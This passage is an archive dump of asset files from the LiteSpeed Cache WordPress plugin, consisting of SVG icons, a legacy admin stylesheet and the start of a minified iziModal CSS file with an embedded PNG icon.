		 M46.536,9.852l2.457,2.36h-2.457V9.852z M37.157,3.792l3.26,3.131h-3.26V3.792z M13.902,9.432v48.619
		c-0.117-0.059-0.244-0.098-0.383-0.098h-3.38c-0.399,0-0.724-0.324-0.724-0.723V3.337c0-0.399,0.325-0.724,0.724-0.724h25.268v4.31
		H16.413C15.028,6.923,13.902,8.048,13.902,9.432z M16.413,65.318c-0.419,0-0.76-0.34-0.76-0.76V9.432
		c0-0.418,0.341-0.759,0.76-0.759h28.374v3.539H22.99c-1.411,0-2.56,1.148-2.56,2.56V65.32h-4.017V65.318z M62.5,71.577
		c0,0.446-0.361,0.81-0.809,0.81H22.99c-0.446,0-0.81-0.363-0.81-0.81V14.771c0-0.446,0.363-0.81,0.81-0.81h30.576v6.891
		c0,0.947,0.771,1.718,1.718,1.718H62.5V71.577z"/>
	<path fill="#6699CC" d="M27.498,28.501h26.625c0.482,0,0.875-0.392,0.875-0.875s-0.393-0.875-0.875-0.875H27.498
		c-0.483,0-0.875,0.392-0.875,0.875S27.015,28.501,27.498,28.501z"/>
	<path fill="#6699CC" d="M27.498,36.757h26.625c0.482,0,0.875-0.392,0.875-0.875c0-0.483-0.393-0.875-0.875-0.875H27.498
		c-0.483,0-0.875,0.392-0.875,0.875C26.623,36.365,27.015,36.757,27.498,36.757z"/>
	<path fill="#6699CC" d="M27.498,45.014h26.625c0.482,0,0.875-0.393,0.875-0.875c0-0.484-0.393-0.875-0.875-0.875H27.498
		c-0.483,0-0.875,0.391-0.875,0.875C26.623,44.621,27.015,45.014,27.498,45.014z"/>
	<path fill="#6699CC" d="M32.999,51.52h-5.501c-0.483,0-0.875,0.393-0.875,0.875c0,0.483,0.392,0.875,0.875,0.875h5.501
		c0.483,0,0.875-0.392,0.875-0.875C33.874,51.912,33.482,51.52,32.999,51.52z"/>
	<path fill="#6699CC" d="M31.124,59.775h-3.626c-0.483,0-0.875,0.392-0.875,0.875c0,0.482,0.392,0.875,0.875,0.875h3.626
		c0.483,0,0.875-0.393,0.875-0.875C31.999,60.167,31.607,59.775,31.124,59.775z"/>
</g>
</svg>
litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/img/icons/purge-500.svg000064400000010630151031165260021625 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.3, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="75px" height="75px" viewBox="0 0 75 75" enable-background="new 0 0 75 75" xml:space="preserve">
<g>
	<path fill="#6699CC" d="M24.2,29.932c-0.686,0-1.381,0.061-2.071,0.18l0.333-3.945h5.769c0.138,0,0.25-0.112,0.25-0.25v-1.569
		c0-0.138-0.112-0.25-0.25-0.25h-7.455c-0.13,0-0.239,0.1-0.249,0.23l-0.564,7.014c-0.008,0.092,0.037,0.181,0.114,0.23l0.882,0.563
		c0.053,0.034,0.118,0.047,0.179,0.036c1.071-0.194,1.932-0.293,2.56-0.293c2.419,0,3.595,0.944,3.595,2.888
		c0,1.005-0.298,1.748-0.912,2.271c-0.617,0.525-1.506,0.791-2.643,0.791c-0.667,0-1.354-0.085-2.042-0.253
		c-0.683-0.168-1.258-0.4-1.708-0.691c-0.078-0.051-0.174-0.053-0.255-0.01c-0.081,0.044-0.13,0.128-0.13,0.22v1.641
		c0,0.087,0.045,0.168,0.12,0.214c0.923,0.562,2.268,0.847,3.996,0.847c1.791,0,3.221-0.466,4.252-1.386
		c1.039-0.928,1.565-2.219,1.565-3.837c0-1.43-0.486-2.576-1.445-3.404C27.143,30.347,25.834,29.932,24.2,29.932z"/>
	<path fill="#6699CC" d="M40.443,37.76c0.839-1.313,1.264-3.31,1.264-5.938c0-2.539-0.439-4.513-1.305-5.867
		c-0.891-1.389-2.209-2.094-3.918-2.094c-1.751,0-3.074,0.677-3.933,2.011c-0.836,1.3-1.26,3.301-1.26,5.95
		c0,2.566,0.438,4.548,1.301,5.892c0.886,1.379,2.195,2.079,3.892,2.079C38.248,39.793,39.58,39.109,40.443,37.76z M36.484,37.826
		c-1.029,0-1.758-0.443-2.229-1.356c-0.492-0.955-0.741-2.519-0.741-4.648c0-2.131,0.25-3.691,0.741-4.638
		c0.47-0.906,1.199-1.347,2.229-1.347c1.042,0,1.776,0.447,2.243,1.365c0.489,0.961,0.737,2.515,0.737,4.619
		c0,2.103-0.248,3.661-0.738,4.629C38.259,37.376,37.526,37.826,36.484,37.826z"/>
	<path fill="#6699CC" d="M48.491,23.861c-1.752,0-3.074,0.677-3.932,2.011c-0.837,1.299-1.261,3.3-1.261,5.95
		c0,2.567,0.438,4.55,1.302,5.892c0.884,1.38,2.193,2.079,3.891,2.079c1.765,0,3.097-0.685,3.959-2.033
		c0.839-1.313,1.265-3.311,1.265-5.938c0-2.538-0.439-4.512-1.306-5.867C51.52,24.566,50.201,23.861,48.491,23.861z M48.491,37.826
		c-1.029,0-1.759-0.443-2.229-1.356c-0.491-0.953-0.741-2.517-0.741-4.648c0-2.132,0.249-3.692,0.741-4.638
		c0.47-0.906,1.198-1.346,2.229-1.346c1.042,0,1.775,0.447,2.243,1.365c0.488,0.96,0.736,2.514,0.736,4.619
		c0,2.104-0.248,3.662-0.736,4.629C50.266,37.376,49.532,37.826,48.491,37.826z"/>
	<path fill="#6699CC" d="M17.361,5h-0.05c-0.483,0-0.85,0.392-0.85,0.875s0.417,0.875,0.9,0.875c0.483,0,0.875-0.392,0.875-0.875
		S17.845,5,17.361,5z"/>
	<path fill="#6699CC" d="M20.898,5h-0.086c-0.483,0-0.832,0.392-0.832,0.875s0.435,0.875,0.918,0.875s0.875-0.392,0.875-0.875
		S21.382,5,20.898,5z"/>
	<path fill="#6699CC" d="M24.398,5h-0.05c-0.483,0-0.85,0.392-0.85,0.875s0.417,0.875,0.9,0.875s0.875-0.392,0.875-0.875
		S24.882,5,24.398,5z"/>
	<path fill="#6699CC" d="M37.626,59.27c0,5.621,4.574,10.195,10.196,10.195c5.623,0,10.197-4.574,10.197-10.195
		c0-5.623-4.574-10.197-10.197-10.197C42.2,49.07,37.626,53.646,37.626,59.27z M56.27,59.27c0,4.656-3.789,8.445-8.446,8.445
		s-8.446-3.789-8.446-8.445c0-4.658,3.789-8.447,8.446-8.447C52.48,50.82,56.27,54.609,56.27,59.27z"/>
	<path fill="#6699CC" d="M42.833,64.257c0.171,0.171,0.396,0.257,0.619,0.257c0.223,0,0.448-0.086,0.618-0.257l3.753-3.752
		l3.752,3.752c0.171,0.171,0.396,0.257,0.618,0.257c0.224,0,0.449-0.086,0.619-0.257c0.342-0.342,0.342-0.896,0-1.237l-3.752-3.752
		l3.752-3.752c0.342-0.343,0.342-0.896,0-1.238s-0.896-0.342-1.237,0l-3.752,3.752l-3.753-3.752c-0.342-0.342-0.896-0.342-1.237,0
		c-0.341,0.342-0.341,0.896,0,1.238l3.752,3.752l-3.752,3.752C42.492,63.361,42.492,63.915,42.833,64.257z"/>
	<path fill="#6699CC" d="M62.77,13.878c-0.041-0.079-0.082-0.158-0.148-0.225L50.535,1.569c-0.004-0.003-0.01-0.004-0.012-0.008
		c-0.08-0.076-0.17-0.138-0.272-0.181c-0.106-0.044-0.222-0.067-0.335-0.067H14.812c-1.585,0-2.875,1.29-2.875,2.875v66.625
		c0,1.586,1.29,2.875,2.875,2.875h45.377c1.584,0,2.875-1.289,2.875-2.875v-56.29C63.063,14.265,62.947,14.039,62.77,13.878z
		 M50.791,4.3l9.348,9.348h-8.223c-0.62,0-1.125-0.505-1.125-1.125V4.3z M13.687,4.188c0-0.621,0.504-1.125,1.125-1.125h34.229
		v6.126H13.687V4.188z M61.313,70.813c0,0.621-0.504,1.125-1.125,1.125H14.812c-0.62,0-1.125-0.504-1.125-1.125V10.938h35.354v1.584
		c0,1.585,1.29,2.875,2.875,2.875h9.396V70.813z"/>
</g>
</svg>
litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/img/lscwp_grayscale_font-icon_22px.svg000064400000003357151031165260025107 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="22px" height="22px" viewBox="0 0 22 22" enable-background="new 0 0 22 22" xml:space="preserve">
<rect x="4" y="4" transform="matrix(0.7071 -0.7071 0.7071 0.7071 -4.5563 11)" fill="#777777" width="14" height="14"/>
<path fill="#FFFFFF" d="M13.039,7.954c-0.063-0.128-0.193-0.21-0.336-0.21c-0.119,0-0.207,0.054-0.268,0.102L9.84,9.838
	c-0.208,0.158-0.254,0.461-0.104,0.675l0.813,1.17l-1.521,1.93c-0.141,0.18-0.113,0.336-0.065,0.434
	c0.06,0.125,0.194,0.209,0.334,0.209c0.123,0,0.208-0.055,0.271-0.102l2.593-1.992c0.157-0.121,0.211-0.33,0.146-0.578
	c-0.012-0.041-0.027-0.076-0.052-0.114l-0.803-1.154l1.521-1.93C13.111,8.207,13.086,8.052,13.039,7.954z"/>
<path fill="#AAAAAA" d="M21.771,10.677L11.323,0.229c-0.088-0.086-0.202-0.135-0.324-0.135c-0.123,0-0.236,0.048-0.324,0.134
	L0.228,10.677c-0.086,0.088-0.134,0.201-0.134,0.324c0,0.122,0.048,0.236,0.134,0.324l10.448,10.446
	c0.087,0.088,0.202,0.135,0.324,0.135s0.237-0.047,0.324-0.135L21.77,11.324c0.088-0.085,0.138-0.201,0.138-0.323
	C21.904,10.879,21.855,10.765,21.771,10.677z M11.424,1.625l8.956,8.956h-2.989c-0.017,0-0.035,0.001-0.052,0.003l-5.915-5.913
	V1.625z M10.584,1.617v3.045l-5.92,5.919H1.62L10.584,1.617z M10.584,20.387L1.62,11.421h3.044l5.92,5.918V20.387z M10.999,16.504
	l-5.501-5.502L10.999,5.5l5.503,5.502L10.999,16.504z M11.424,20.377v-3.045l5.913-5.914c0.019,0.001,0.037,0.003,0.054,0.003h2.989
	L11.424,20.377z"/>
</svg>
litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/img/lscwp_blue_font-icon_22px.svg000064400000003166151031165260024062 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="22px" height="22px" viewBox="0 0 22 22" enable-background="new 0 0 22 22" xml:space="preserve">
<path fill="#00749C" d="M13.039,7.954c-0.063-0.128-0.193-0.21-0.336-0.21c-0.119,0-0.207,0.054-0.268,0.102L9.84,9.838
	c-0.208,0.158-0.254,0.461-0.104,0.675l0.813,1.17l-1.521,1.93c-0.141,0.18-0.113,0.336-0.065,0.434
	c0.06,0.125,0.194,0.209,0.334,0.209c0.123,0,0.208-0.055,0.271-0.102l2.593-1.992c0.158-0.121,0.211-0.33,0.145-0.578
	c-0.011-0.041-0.027-0.076-0.051-0.114l-0.803-1.154l1.52-1.93C13.111,8.207,13.086,8.052,13.039,7.954z"/>
<path fill="#00749C" d="M21.771,10.677L11.323,0.229c-0.088-0.086-0.202-0.135-0.324-0.135c-0.123,0-0.236,0.048-0.324,0.134
	L0.228,10.677c-0.086,0.088-0.134,0.201-0.134,0.324c0,0.122,0.048,0.236,0.134,0.324l10.448,10.446
	c0.087,0.088,0.202,0.135,0.324,0.135s0.237-0.047,0.324-0.135l10.446-10.447c0.088-0.085,0.136-0.201,0.136-0.323
	C21.905,10.879,21.856,10.765,21.771,10.677z M11.424,1.625l8.956,8.956h-2.99c-0.016,0-0.035,0.001-0.051,0.003l-5.915-5.913V1.625
	z M10.584,1.617v3.045l-5.92,5.919H1.62L10.584,1.617z M10.584,20.387L1.62,11.421h3.044l5.92,5.918V20.387z M10.999,16.504
	l-5.501-5.502L10.999,5.5l5.503,5.502L10.999,16.504z M11.424,20.377v-3.045l5.913-5.914c0.018,0.001,0.037,0.003,0.053,0.003h2.99
	L11.424,20.377z"/>
</svg>
litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/img/quic-cloud-icon-16x16.svg000064400000003764151031165260022656 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="16px" height="16px" viewBox="0 0 16 16" enable-background="new 0 0 16 16" xml:space="preserve">
<g>
	<path fill="#889EAA" d="M15.222,5.874c-0.616-0.81-1.511-1.331-2.52-1.468c-0.793-0.108-1.584,0.033-2.29,0.406
		c-0.095,0.05-0.188,0.103-0.276,0.161L9.819,5.211l0.819,1.077l0.25-0.189c0.05-0.032,0.103-0.062,0.155-0.09
		c0.455-0.24,0.965-0.331,1.476-0.262c0.65,0.088,1.228,0.425,1.625,0.947c0.397,0.522,0.567,1.168,0.479,1.818
		c-0.183,1.343-1.424,2.286-2.765,2.104c-0.511-0.069-0.979-0.294-1.354-0.646c-0.044-0.042-0.087-0.086-0.126-0.128L7.292,5.785
		L7.292,5.798L6.967,5.371L6.931,5.328C6.857,5.246,6.779,5.165,6.699,5.09C6.093,4.518,5.335,4.157,4.51,4.045
		C2.338,3.75,0.331,5.277,0.036,7.449c-0.295,2.171,1.232,4.178,3.404,4.473c0.827,0.113,1.652-0.034,2.39-0.423
		c0.03-0.017,0.058-0.033,0.088-0.05l-0.833-1.093c-0.457,0.214-0.959,0.294-1.463,0.225c-1.432-0.194-2.439-1.518-2.245-2.95
		c0.195-1.433,1.517-2.439,2.95-2.245c0.545,0.074,1.044,0.312,1.444,0.69c0.047,0.043,0.092,0.09,0.136,0.137l2.426,3.189
		l0.001-0.014l0.985,1.295l0.034,0.042c0.069,0.077,0.145,0.154,0.224,0.229c0.581,0.549,1.307,0.895,2.099,1.002
		c0.173,0.023,0.345,0.035,0.515,0.035c1.876,0,3.514-1.39,3.773-3.298C16.103,7.685,15.838,6.684,15.222,5.874z"/>
	<path fill="#00CCCC" d="M8.614,11.234c-0.013-0.014-0.026-0.026-0.038-0.039L7.012,9.143C6.944,9.066,6.87,8.99,6.792,8.916
		C6.211,8.368,5.485,8.023,4.693,7.915c-0.076-0.01-0.151-0.017-0.227-0.023H4.351l0.577,0.755C4.94,8.659,4.954,8.673,4.966,8.686
		l1.563,2.053c0.068,0.076,0.142,0.152,0.22,0.225c0.581,0.549,1.306,0.896,2.099,1.003c0.075,0.01,0.15,0.018,0.227,0.023H9.19
		L8.614,11.234z"/>
</g>
</svg>
litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/img/lscwp_gray_font-icon_22px.svg000064400000003166151031165260024075 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="22px" height="22px" viewBox="0 0 22 22" enable-background="new 0 0 22 22" xml:space="preserve">
<path fill="#777777" d="M13.039,7.954c-0.063-0.128-0.193-0.21-0.336-0.21c-0.119,0-0.207,0.054-0.268,0.102L9.84,9.838
	c-0.208,0.158-0.254,0.461-0.104,0.675l0.813,1.17l-1.521,1.93c-0.141,0.18-0.113,0.336-0.065,0.434
	c0.06,0.125,0.194,0.209,0.334,0.209c0.123,0,0.208-0.055,0.271-0.102l2.593-1.992c0.158-0.121,0.211-0.33,0.145-0.578
	c-0.011-0.041-0.027-0.076-0.051-0.114l-0.803-1.154l1.52-1.93C13.111,8.207,13.086,8.052,13.039,7.954z"/>
<path fill="#777777" d="M21.771,10.677L11.323,0.229c-0.088-0.086-0.202-0.135-0.324-0.135c-0.123,0-0.236,0.048-0.324,0.134
	L0.228,10.677c-0.086,0.088-0.134,0.201-0.134,0.324c0,0.122,0.048,0.236,0.134,0.324l10.448,10.446
	c0.087,0.088,0.202,0.135,0.324,0.135s0.237-0.047,0.324-0.135l10.446-10.447c0.088-0.085,0.136-0.201,0.136-0.323
	C21.905,10.879,21.856,10.765,21.771,10.677z M11.424,1.625l8.956,8.956h-2.99c-0.016,0-0.035,0.001-0.051,0.003l-5.915-5.913V1.625
	z M10.584,1.617v3.045l-5.92,5.919H1.62L10.584,1.617z M10.584,20.387L1.62,11.421h3.044l5.92,5.918V20.387z M10.999,16.504
	l-5.501-5.502L10.999,5.5l5.503,5.502L10.999,16.504z M11.424,20.377v-3.045l5.913-5.914c0.018,0.001,0.037,0.003,0.053,0.003h2.99
	L11.424,20.377z"/>
</svg>
litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/img/Litespeed.icon.svg000064400000005167151031165260021744 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.3, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 viewBox="0 0 300 300" enable-background="new 0 0 300 300" xml:space="preserve">
<g>
	<path fill="#5E8CDA" d="M254.859,146.258l-68.508-68.516l-29.203,37.055l31.461,31.461c2.922,2.922,2.922,7.68,0,10.57
		l-9.086,9.086c0,0,6.148,9.195,6.414,9.75c1.422,2.836,1.742,9.492-2.273,12.547l-71.57,54.969c0,18.422-0.016,56.336,0,56.344
		c0.031,0,142.766-142.695,142.766-142.695C257.75,153.898,257.75,149.18,254.859,146.258z"/>
	<path fill="#093071" d="M95.703,154.891c-2.898-2.875-2.898-7.641,0-10.531l9.109-9.125l-6.219-8.938
		c-2.977-4.219-2.039-10.203,2.055-13.344l71.602-54.938l0.023-56.328l-0.023-0.031l-0.039-0.047L29.477,144.359
		c-2.922,2.891-2.922,7.656,0,10.539l68.5,68.508l29.219-37.055L95.703,154.891z"/>
</g>
<path fill="#5E8CDA" d="M208.297,35.727c1.092,0,2.147,0.654,2.624,1.624c0.804,1.658-0.217,3.189-1.236,4.495l-0.04,0.051
	l-62.727,79.64c-0.829,1.05-0.891,3.144-0.132,4.218c0.339,0.491,33.879,49.111,35.027,50.794c1.342,1.918,1.425,7.623-1.657,9.978
	L79.348,263.915c-1.305,0.993-2.252,1.535-3.492,1.546c-0.99-0.082-2.015-0.756-2.44-1.601c-0.783-1.612,0.143-3.176,1.253-4.616
	l62.727-79.607c0.83-1.114,0.908-3.081,0.152-4.231l-35.019-50.348c-2.308-3.283-1.585-7.943,1.611-10.39l100.851-77.445
	C206.396,36.146,207.321,35.727,208.297,35.727 M208.297,34.727c-1.211,0-2.336,0.492-3.914,1.703l-100.852,77.445
	c-3.625,2.773-4.445,8.023-1.82,11.758l35.016,50.344c0.508,0.773,0.438,2.297-0.133,3.063l-62.711,79.586
	c-0.813,1.055-2.523,3.289-1.367,5.672c0.594,1.18,1.945,2.07,3.305,2.164c1.555,0,2.695-0.656,4.133-1.75l100.813-77.391
	c3.508-2.68,3.523-8.977,1.867-11.344c-1.156-1.695-35.023-50.789-35.023-50.789c-0.508-0.719-0.461-2.328,0.094-3.031
	l62.727-79.641c0.805-1.031,2.555-3.203,1.391-5.602C211.172,35.594,209.766,34.727,208.297,34.727L208.297,34.727z"/>
<path fill="#F5CD21" d="M178.992,176.898c0.82,1.25,1.563,5.867-0.477,7.422L77.641,261.75c-0.836,0.664-1.391,0.984-1.617,0.961
	c-0.359,0.023-0.102-0.586,0.82-1.797l62.688-79.555c1.586-2.039,1.688-5.414,0.227-7.516l-34.977-50.367
	C104.781,123.477,178.188,175.664,178.992,176.898z"/>
<path fill="#FDDD75" d="M178.992,176.898l-34.461-49.555c-1.438-2.125-1.336-5.492,0.242-7.508l62.695-79.578
	c0.945-1.203,1.164-1.781,0.828-1.781c-0.227,0-0.805,0.281-1.625,0.945l-100.875,77.422c-2.016,1.555-2.477,4.547-1.016,6.633
	L178.992,176.898z"/>
</svg>

litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/css/litespeed-legacy.css000064400000002111151031165260022306 0ustar00.litespeed-wrap h2.nav-tab-wrapper,
.litespeed-wrap h3.nav-tab-wrapper {
	margin-bottom: 0;
}

.litespeed-wrap h2 .nav-tab {
	font-size: 14px;
}

.litespeed-wrap .striped > tbody > :nth-child(odd),
.litespeed-wrap ul.striped > :nth-child(odd),
.litespeed-wrap .alternate {
	background-color: #f9f9f9;
}

.litespeed-wrap .notice,
.litespeed-wrap div.updated,
.litespeed-wrap div.error {
	border-left: 4px solid #fff;
	box-shadow: 0 1px 1px 0 rgba(0, 0, 0, 0.1);
	padding: 1px 12px;
}

.litespeed-wrap .notice-success,
.litespeed-wrap div.updated {
	border-left-color: #46b450;
}

.litespeed-wrap .notice-success.notice-alt {
	background-color: #ecf7ed;
}

.litespeed-wrap .notice-warning {
	border-left-color: #ffb900;
}

.litespeed-wrap .notice-warning.notice-alt {
	background-color: #fff8e5;
}

.litespeed-wrap .notice-error,
.litespeed-wrap div.error {
	border-left-color: #dc3232;
}

.litespeed-wrap .notice-error.notice-alt {
	background-color: #fbeaea;
}

.litespeed-wrap .notice-info {
	border-left-color: #00a0d2;
}

.litespeed-wrap .notice-info.notice-alt {
	background-color: #e5f5fa;
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/css/iziModal.min.css000064400000247556151031165260021450 0ustar00/*
* iziModal | v1.5.1
* http://izimodal.marcelodolce.com
* by Marcelo Dolce.
*/
.iziModal{display:none;position:fixed;top:0;bottom:0;left:0;right:0;margin:auto;background:#fff;box-shadow:0 0 8px rgba(0,0,0,.3);transition:margin-top .3s ease,height .3s ease;transform:translateZ(0)}.iziModal *{-webkit-font-smoothing:antialiased}.iziModal::after{content:'';width:100%;height:0;opacity:0;position:absolute;left:0;bottom:0;z-index:1;background:-moz-linear-gradient(top,transparent 0%,rgba(0,0,0,.35) 100%);background:-webkit-gradient(linear,left top,left bottom,color-stop(0%,transparent),color-stop(100%,rgba(0,0,0,.35)));background:-webkit-linear-gradient(top,transparent 0%,rgba(0,0,0,.35) 100%);background:-o-linear-gradient(top,transparent 0%,rgba(0,0,0,.35) 100%);background:-ms-linear-gradient(top,transparent 0%,rgba(0,0,0,.35) 100%);background:linear-gradient(to bottom,transparent 0%,rgba(0,0,0,.35) 100%);filter:progid:DXImageTransform.Microsoft.gradient( startColorstr='#00000000', endColorstr='#59000000',GradientType=0 );transition:height .3s ease-in-out,opacity .3s ease-in-out;pointer-events:none}.iziModal.hasShadow::after{height:30px;opacity:1}.iziModal .iziModal-progressbar{position:absolute;left:0;top:0;width:100%;z-index:1}.iziModal .iziModal-progressbar>div{height:2px;width:100%}.iziModal .iziModal-header{background:#88a0b9;padding:14px 18px 15px;box-shadow:inset 0 -10px 15px -12px rgba(0,0,0,.3),0 0 0 #555;overflow:hidden;position:relative;z-index:10}.iziModal .iziModal-header-icon{font-size:40px;color:rgba(255,255,255,.5);padding:0 15px 0 0;margin:0;float:left}.iziModal .iziModal-header-title{color:#fff;font-size:18px;font-weight:600;line-height:1.3}.iziModal .iziModal-header-subtitle{color:rgba(255,255,255,.6);font-size:12px;line-height:1.45}.iziModal .iziModal-header-subtitle,.iziModal .iziModal-header-title{display:block;margin:0;padding:0;font-family:'Lato',Arial;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;text-align:left}.iziModal .iziModal-header-buttons{position:absolute;top:50%;right:10px;margin:-17px 0 0}.iziModal .iziModal-button{display:block;float:right;z-index:2;outline:0;height:34px;width:34px;border:0;padding:0;margin:0;opacity:.3;border-radius:50%;transition:transform .5s cubic-bezier(.16,.81,.32,1),opacity .5s ease;background-size:67%!important;-webkit-tap-highlight-color:transparent}.iziModal .iziModal-button-close{background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACwAAAAsCAYAAAAehFoBAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyhpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuNi1jMTMyIDc5LjE1OTI4NCwgMjAxNi8wNC8xOS0xMzoxMzo0MCAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENDIDIwMTUuNSAoV2luZG93cykiIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6ODZCQkIzQ0I0RTg0MTFFNjlBODI4QTFBRTRBMkFCMDQiIHhtcE1NOkRvY3VtZW50SUQ9InhtcC5kaWQ6ODZCQkIzQ0M0RTg0MTFFNjlBODI4QTFBRTRBMkFCMDQiPiA8eG1wTU06RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDo4NkJCQjNDOTRFODQxMUU2OUE4MjhBMUFFNEEyQUIwNCIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDo4NkJCQjNDQTRFODQxMUU2OUE4MjhBMUFFNEEyQUIwNCIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/PsgTJLcAAALJSURBVHja3JnLS1VBHMfvQ7g9dBXRRrwEFRciAhMi1JRW1aIHVEIYEkW0iVpUhOD/ICK6cFMgSbUpC6VFkQa9NtpjkauriRY9Noa3pHT8/mIODMM5Or85o87pC5/NPf5mvmc8M7+Z36SFEKkY2gj2gUawF2wHW8A6+fwv+A6KYAQMg+dg2rbDtKXhGnAaHJIms4zYz9J4HxgAf1g9k2EGteAhWBBuNApaQNrUg6nRTaAbzIuV0RCocWW4DoyJlVcJXI5ruFk2tJqi/2TWxvA5sXbqA2Ucw01i7dVjargazAo/dE33p6/DlAheg50pP0SJpwG8CH7IaH/Q5pFZUhnoArkwwwVwJeWfdoMLYYZvqG+yTGo9CerAoIWBT+A4qAdPDWOugwo1NVcxJtpFZRLkwH3GJCqCghJfxVjnz1JMMMKnwAbGRAg0B5rAA4O4CblZ+qj8tkBjZthvSzDCtFIMM0ZpQhslk5Eej4jpZ/T7G+ygwG1ghrk+jjNMFy1eMPJzpOAzlou6iWmXZkm91EBHjEwUZXoQTDk2SxqhRh7HTJ9hpstB3rFZ0ldq6J2DnB9m2rXZfxOPlrX1DrJRXiaBXSHPaMHvB0cd9JPLpBImMvzLQTuUFA6A9yHPfoIjhsllOc1l5N4grtmDWgYrl5+JTUZcSjNkeMyxWdpA3ZN72IJj01OJTByJS82J2/wQVxmB5y1HK8x0JWMf/kzdD98FJcY5S51gdwyTQl6eUAraspo27PeWXgy8afim0+CELAwOWHyH9EkdkyWwJ4Yxk6BCP+bTm48anutWW5dAp34IpbW03UOzb0FPVEHbx0LKfvAyqpAyKw97JU8Mt6pml6rAJ6oY6Eu5NfvfF7QTeWWQyEsZr6694lwsNoPD8mKRo29gCNwGj7gXi7aGA1EBcY+8vq0GW8FmJb3Pgx9gEnwAr8Ab8MW2w0UBBgAVyyyaohV7ewAAAABJRU5ErkJggg==) no-repeat 50% 50%}.iziModal 